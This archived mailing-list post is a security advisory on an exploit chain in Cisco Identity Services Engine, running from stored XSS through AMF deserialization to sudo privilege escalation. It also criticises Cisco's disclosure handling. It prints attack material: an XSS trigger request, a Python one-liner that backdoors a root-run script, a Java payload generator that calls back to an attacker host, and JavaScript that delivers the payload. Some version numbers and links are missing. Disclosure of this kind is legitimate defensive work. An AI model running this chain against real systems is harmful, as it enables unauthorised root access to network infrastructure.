lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Tue, 5 Feb 2019 10:18:19 +0700
From: Pedro Ribeiro <>
To: "" <>,
Subject: [Multiple CVE] - Cisco Identity Services Engine unauth stored XSS to
 RCE as root


On January 20th, SSD disclosed 3 vulnerabilities found by Agile
Information Security in their Cisco Identity Services Engine (ISE) product.

These are unauth stored XSS, unsafe Java deserialization and privesc to
root, which when combined allow an unauthenticated attacker to achieve
remote code execution as root - as long as you can get an admin to visit
the ISE page vulnerable to stored XSS. This is my take on it.

Cisco has been incredibly negligent throughout this whole affair:
- they did not assign CVE numbers to java deserialization and the
privesc, making it impossible to track them
- it is not clear what / if any versions are fixed from their security
- they still recommend version as the suggested release in the
downloads section of their website; this is the version we tested and
found vulnerable to everything described below
- the java deserialization and privesc vulnerabilities were
independently found by other researchers and reported around the same
time, but Cisco refused to give Agile Information Security any credit

In summary, this is a total mess. It is pretty evident that Cisco does
not care about security or keeping their customers informed, they just
like to sweep security issues under the rug. Good luck doing that with a
public exploit.

We would like to thank Beyond Security's SSD Disclosure programme for
helping us deal with Cisco and avoid even more headaches. Their advisory
can be found at and a
copy of the text below can be found in my repo at

Get the exploit from SSD's post or from

>> Multiple vulnerabilities in Cisco Identity Services Engine
(unauthenticated stored XSS to RCE as root)
>> Discovered by Pedro Ribeiro (, Agile Information
Security and Dominik Czarnota (
Disclosure: 20/01/2019 / Last updated: 05/02/2019

>> Background and product information
>From the vendor's website [1]:
The Cisco Identity Services Engine (ISE) is your one-stop solution to
streamline security policy management and reduce operating costs. With
ISE, you can see users and devices controlling access across wired,
wireless, and VPN connections to the corporate network.

Cisco ISE allows you to provide highly secure network access to users
and devices. It helps you gain visibility into what is happening in your
network, such as who is connected, which applications are installed and
running, and much more. It also shares vital contextual data, such as
user and device identities, threats, and vulnerabilities with integrated
solutions from Cisco technology partners, so you can identify, contain,
and remediate threats faster."

>> Summary
ISE is distributed by Cisco as a virtual appliance. We have analysed
version and found three vulnerabilities: an unauthenticated
stored cross site scripting, a authenticated Java deserialization
vulnerability leading to remote code execution as an unprivileged user,
and a privilege escalation from that unprivileged user to root.

By putting them all together, we can achieve remote code execution as
root, provided we can trap an administrator into visiting the ISE page
vulnerable to the stored cross site scripting. A Ruby exploit that
implements this full exploit chain (described in more detail at
'Exploitation summary', at the end of this file) is available in [2].

All the vulnerabilities in this advisory were found independently by
Agile Information Security. However, vulnerability #2 (Unsafe Flex AMF
Java Object Deserialization) was also found and reported to Cisco by
Olivier Arteau of Groupe Technologie Desjardins [3] and vulnerability #3
(Privilege Escalation via Incorrect sudo File Permissions) was also
found and reported to Cisco by Hector Cuesta [4].

Cisco refused to credit Agile Information Security with finding
vulnerabilities #2 and #3, and also refused to provide a CVE for both
these vulnerabilities, saying regarding #3 that "This issue has been
evaluated as a hardening effort to improve the security posture of the
device. According with our Security vulnerability policy, we request do
not request a CVE assignment for issue with a Severity Impact Rating
(SIR) lower than Medium. This issue will be fixed in the upcoming ISE
At the time of the latest update, Cisco still recommends version - affected by all the vulnerabilities in this advisory - as
the "Suggested Release" in their software download page.

These actions show Cisco is incredibly negligent with regards to the
security of their customers. They are still shipping (and recommending)
a product version vulnerable to unauthenticated remote code execution,
with a fully working public exploit and no way to track fixes or fixed
versions for these vulnerabilities.

Agile Information Security would like to thank Beyond Security's SSD
Secure Disclosure programme for helping us disclose these
vulnerabilities to Cisco, and publishing the advisory on their site [5].

>> Technical details:
Vulnerability: Stored Cross Site Scripting
Attack Vector: Remote
Constraints: None; exploitable by an unauthenticated attacker
Affected versions: confirmed on ISE virtual appliance v2.4.0.357

The LiveLogSettingsServlet, available at /admin/LiveLogSettingsServlet,
contains a stored cross site scripting vulnerability.
The doGet() HTTP request handler takes in an Action parameter as a HTTP
query variable, which can be "read" or "write".
With the "write" parameter, it calls the writeLiveLogSettings() function
which then takes several query string variables, such as Columns, Rows,
Refresh_rate and Time_period.
The content of these query string variables is then written to
/opt/CSCOcpm/mnt/dashboard/liveAuthProps.txt, and the server responds
with a 200 OK. These parameters are not validated, and can contain any text.

When the Action parameter equals "read", the servlet will read the
/opt/CSCOcpm/mnt/dashboard/liveAuthProps.txt file and display it back to
the user with the Content-Type "text/html", causing whatever was written
to that file to be rendered and executed by the browser.

To mount a simple attack, we can send the following request:

Which can then be triggered with:
GET /admin/LiveLogSettingsServlet?Action=read HTTP/1.1

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Content-Length: 164


This vulnerability can be exploited by an unauthenticated attacker.

Vulnerability: Unsafe Flex AMF Java Object Deserialization
CVE-2017-5641; Please be aware this CVE is not specific to Cisco ISE
Attack Vector: Remote
Constraints: Requires authentication to the admin web interface
Affected versions: confirmed on ISE virtual appliance v2.4.0.357

By sending an HTTP POST request with random data to
/admin/messagebroker/amfsecure, the server will respond with a 200 OK
and binary data that includes:
 ...Unsupported AMF version XXXXX...

Which indicates that the server has a Apache / Adobe Flex AMF (BlazeDS)
endpoint at that location. The BlazeDS library version running on the
server is, which means it is vulnerable to CVE-2017-5641
[6], the description of which is stated below:
"Previous versions of Apache Flex BlazeDS (4.7.2 and earlier) did not
restrict which types were allowed for AMF(X) object deserialization by
default. During the deserialization process code is executed that for
several known types has undesired side-effects. Other, unknown types may
also exhibit such behaviors. One vector in the Java standard library
exists that allows an attacker to trigger possibly further exploitable
Java deserialization of untrusted data. Other known vectors in third
party libraries can be used to trigger remote code execution."

This vulnerability was previously exploited in DrayTek VigorACS by Agile
Information Security, as it can be seen in [7] and [8]. Please refer to
that advisory and exploit, as well as [9], [10] and [11] for further
details on this vulnerability.

We were able to re-use some of the exploit code in [7] from the VigorACS
vulnerability to create a binary AMF payload that will execute on the
server as the iseadminportal user (see Appendix A).

The the exploit chain works in the same way as the previous one:
a) sends an AMF binary payload to /admin/messagebroker/amfsecure as
described in [10] to trigger a Java Remote Method Protocol (JRMP) call
back to the attacker
b) receives the JRMP connection with ysoserial's JRMP listener [12]
c) calls ysoserial with the ROME payload, as a vulnerable version of
Rome (1.0 RC2) is in the Java classpath of the server
d) execute ncat (the binary is on the ISE virtual appliance) and return
a reverse shell running as the iseaminportal user

Appendix A contains the Java code used to generate the AMF payload that
will be sent in step a). This code is very similar to the one in [10],
and it is highly recommended to read that advisory by Markus Wulftange
of Code White for a better understanding of this vulnerability.

This vulnerability can only be exploited by an authenticated attacker
with access to the administrative portal.

Vulnerability: Privilege Escalation via Incorrect sudo File Permissions
No CVE assigned; track as SSD-3778
Attack Vector: Local
Constraints: Requires a command shell running as the iseadminportal user
Affected versions: confirmed on ISE virtual appliance v2.4.0.357

The iseadminportal user can run a variety of commands as root via sudo
(output of 'sudo -l'):
    (root) NOPASSWD: /opt/CSCOcpm/bin/ *
    (root) NOPASSWD: /opt/CSCOcpm/bin/ *
    (root) NOPASSWD: /opt/CSCOcpm/bin/ *
    (root) NOPASSWD: /opt/CSCOcpm/bin/ *
    (root) NOPASSWD: /opt/CSCOcpm/bin/ *
    (root) NOPASSWD: /opt/CSCOcpm/bin/ *
    (root) NOPASSWD: /opt/CSCOcpm/bin/ *
    (root) NOPASSWD: /opt/CSCOcpm/bin/ *
    (root) NOPASSWD: /opt/CSCOcpm/bin/ *
    (root) NOPASSWD: /opt/CSCOcpm/bin/ *
    (root) NOPASSWD: /opt/CSCOcpm/bin/ *
    (root) NOPASSWD: /opt/CSCOcpm/bin/ *
    (root) NOPASSWD: /opt/CSCOcpm/bin/ *
    (root) NOPASSWD: /opt/CSCOcpm/bin/ *
    (root) NOPASSWD: /opt/CSCOcpm/bin/ *
    (root) NOPASSWD: /opt/CSCOcpm/bin/ *
    (root) NOPASSWD: /opt/CSCOcpm/bin/ *
    (root) NOPASSWD: /opt/CSCOcpm/bin/ *
    (root) NOPASSWD: /opt/CSCOcpm/bin/ *
    (root) NOPASSWD: /opt/CSCOcpm/bin/ *
    (root) NOPASSWD: /opt/CSCOcpm/mnt/bin/ *
    (root) NOPASSWD: /opt/CSCOcpm/upgrade/bin/ *
    (root) NOPASSWD: /opt/CSCOcpm/upgrade/bin/ *
    (root) NOPASSWD:
/opt/CSCOcpm/upgrade/bin/ *
    (root) NOPASSWD:
/opt/CSCOcpm/upgrade/bin/ *
    (root) NOPASSWD: /opt/CSCOcpm/upgrade/bin/ *
    (root) NOPASSWD: /opt/CSCOcpm/upgrade/bin/ *
    (root) NOPASSWD: /opt/CSCOcpm/bin/ *
    (root) NOPASSWD: /opt/CSCOcpm/bin/ *
    (root) NOPASSWD: /opt/CSCOcpm/bin/ *
    (root) NOPASSWD: /opt/CSCOcpm/bin/ *
    (root) NOPASSWD: /opt/CSCOcpm/prrt/bin/ *
    (root) NOPASSWD: /opt/CSCOcpm/bin/ *
    (root) NOPASSWD: /opt/CSCOcpm/bin/ *
    (root) NOPASSWD: /opt/CSCOcpm/bin/ *
    (root) NOPASSWD: /opt/CSCOcpm/bin/ *

However all of the files above are writeable by the iseadminportal user.
This makes it trivial to perform privilege escalation to root. All that
is needed to do is to edit the files, and add a "/bin/sh" to the second
and / or last line, then run the script as sudo to get a root shell.

>> Exploitation summary:
By now you should have a decent idea of how to build a full exploit
chain. Since vulnerability #2 (AMF RCE) can only be exploited by an
authenticated administrator, we can set up a trap using vulnerability #1
(stored XSS) as an unauthenticated attacker.

By abusing the stored cross site scripting, we can create a malicious
Javascript (see Appendix B) that will be stored in
/admin/LiveLogSettingsServlet. If a logged in user visits that page the
Javascript payload will send a XMLHttpRequest to
/admin/messagebroker/amfsecure with the payload created by the Java code
in Appendix A, and start the exploit described in vulnerability #2 (AMF
RCE) to obtain a reverse shell as the iseadminuser.

Once we have the reverse shell, we can run the following command to
abuse vulnerability #3 (privilege escalation):
python -c 'import os;f=open("/opt/CSCOcpm/bin/", "a+",
0);f.write("if [ \"$1\" == 1337
/opt/CSCOcpm/bin/ 1337")'

This will add an "if" clause at the end of /opt/CSCOcpm/bin/
that looks for the "1337" parameter, and executes /bin/bash as root when
it sees it. That way we won't mess with any important system
functionality that might use that file, and we will get our full root shell.

The full exploit, written in Ruby, is available in [2].

>> Fix:
Cisco claims vulnerability #1 is fixed in version It is
unknown if it is fixed in versions 2.4.x (see [13], [14]).
Cisco claims vulnerability #2 is fixed in version (see [3]).
By Cisco's own admission, vulnerability #3 is not fixed at the time of
the latest update to this advisory (see [4]).

Please note that Agile Information Security does not verify any fixes,
except when noted in the advisory or requested by the vendor. The vendor
fixes might be ineffective or incomplete, and it is the vendor's
responsibility to ensure the vulnerablities found by Agile Information
Security are resolved properly.

>> Appendix A (AMF payload generator in Java):

public class ACSFlex {
    public static void main(String[] args) {
        Object unicastRef = generateUnicastRef(args[0],
        // serialize object to AMF message
        try {
            byte[] amf = new byte[0];
            amf = serialize((unicastRef));
            DataOutputStream os = new DataOutputStream(new
            System.out.println("Done, payload written to " + args[2]);
        } catch (IOException e) {

    public static Object generateUnicastRef(String host, int port) {
        java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
        sun.rmi.transport.tcp.TCPEndpoint endpoint = new
sun.rmi.transport.tcp.TCPEndpoint(host, port);
        sun.rmi.transport.LiveRef liveRef = new
sun.rmi.transport.LiveRef(objId, endpoint, false);
        return new sun.rmi.server.UnicastRef(liveRef);

    public static byte[] serialize(Object data) throws IOException {
        MessageBody body = new MessageBody();

        ActionMessage message = new ActionMessage();

        ByteArrayOutputStream out = new ByteArrayOutputStream();

        AmfMessageSerializer serializer = new AmfMessageSerializer();

out, null);

        return out.toByteArray();

>> Appendix B (Javascript code to be used in the stored XSS):
function b64toBlob(b64Data, contentType, sliceSize) {
  contentType = contentType || '';
  sliceSize = sliceSize || 512;
  var byteCharacters = atob(b64Data);
  var byteArrays = [];
  for (var offset = 0; offset < byteCharacters.length; offset +=
sliceSize) {
    var slice = byteCharacters.slice(offset, offset + sliceSize);
    var byteNumbers = new Array(slice.length);
    for (var i = 0; i < slice.length; i++) {
      byteNumbers[i] = slice.charCodeAt(i);
    var byteArray = new Uint8Array(byteNumbers);
  var blob = new Blob(byteArrays, {type: contentType});
  return blob;
b64_payload = 'cGlzc2FuZXNzZWN1';
var xhr = new XMLHttpRequest();"POST", '', true);
xhr.send(b64toBlob(b64_payload, 'application/x-amf'));

>> References:

Agile Information Security Limited
>> Enabling secure digital business.

Pedro Ribeiro
Vulnerability and Reverse Engineer / Cyber Security Specialist
PGP: 4CE8 5A3D 133D 78BB BC03 671C 3C39 4966 870E 966C

Powered by blists - more mailing lists